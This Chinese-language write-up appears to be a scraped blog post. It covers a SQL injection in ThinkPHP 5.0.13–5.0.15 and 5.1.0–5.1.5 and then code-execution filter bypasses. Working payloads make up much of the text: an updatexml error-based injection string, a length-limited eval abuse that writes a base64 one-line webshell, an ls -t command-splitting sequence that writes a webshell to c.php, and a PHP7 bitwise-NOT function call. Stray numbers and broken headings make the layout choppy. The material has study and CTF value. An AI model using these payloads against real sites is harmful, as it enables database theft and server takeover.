目录
thinkphp5漏洞sql注入
漏洞概要.
漏洞准备
漏洞分析
代码执行
限制条件1
1
2
限制条件
1
限制条件3
php7.x
php5
thinkphp5漏洞sql注入
漏洞概要.
本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。这里使用thinkphp5015版本
漏洞准备
查看官方文档5.0.16修复更新内容
漏洞分析
payload [0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
get请求传入username,进入db的inster方法,之后直接进入了 $this->builder 的 insert 方法
在进入之后,在 insert 方法中,我们看到其调用 parseData 方法来分析并处理数据进入
这里0是inc 1是注入语句 2是1
break之后这里执行替换函数
这里执行完之后拼接,value是注入语句
代码执行
限制条件1
<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
1
2
web.php?1=file_put_contents¶m=$_GET[1](N,P,8);
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中 */解码为一句话木马
逐个写入,最终伪协议解码执行执行
限制条件
<?php
$param = $_REQUEST['param']; If ( strlen($param) < 8 ) { echo shell_exec($param);
}
1
www:~$ ls -t
ech\ o \ PD9\ waH\ AgZ\ XZh\ bCg\ kX0\ dFV\ Fsx\ XSk\ 7|\ bas\ e64\ -\ d>\ c.p\ hp
www:~$ echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php
▪ls -t 以创建时间来列出当前目录下所有文件
文件列表以[换行符]分割每个文件
引入 `\` 转义ls时的换行
换行不影响命令执行
成功构造任意命令执行,写入Webshell
www:~$ | w>hp |
www:~$ | w>c.p\\ |
www:~$ | w>d\>\\ |
www:~$ | w>\ -\\ |
www:~$ | w>e64\\ |
www:~$ | w>bas\\ |
www:~$ | w>7\|\\ |
www:~$ | w>XSk\\ |
... www:~$ | w>PD9\\ |
www:~$ | w>o\ \\ |
www:~$ | w>ech\\ |
www:~$ | ls -t>0 |
www:~$ | sh 0 |
限制条件3
php7.x
PHP7前是不允许用($a)();
这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();
来执行函数,第一个括号中可以是任意PHP表达式。
先进行URL编码再取反,构造一个可以生成phpinfo
这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):(~%8F%97%8F%96%91%99%90)();
php5
上传文件修改数据包
``执行代码,用最后一位大写字母匹配,大写字母范围在@和]之间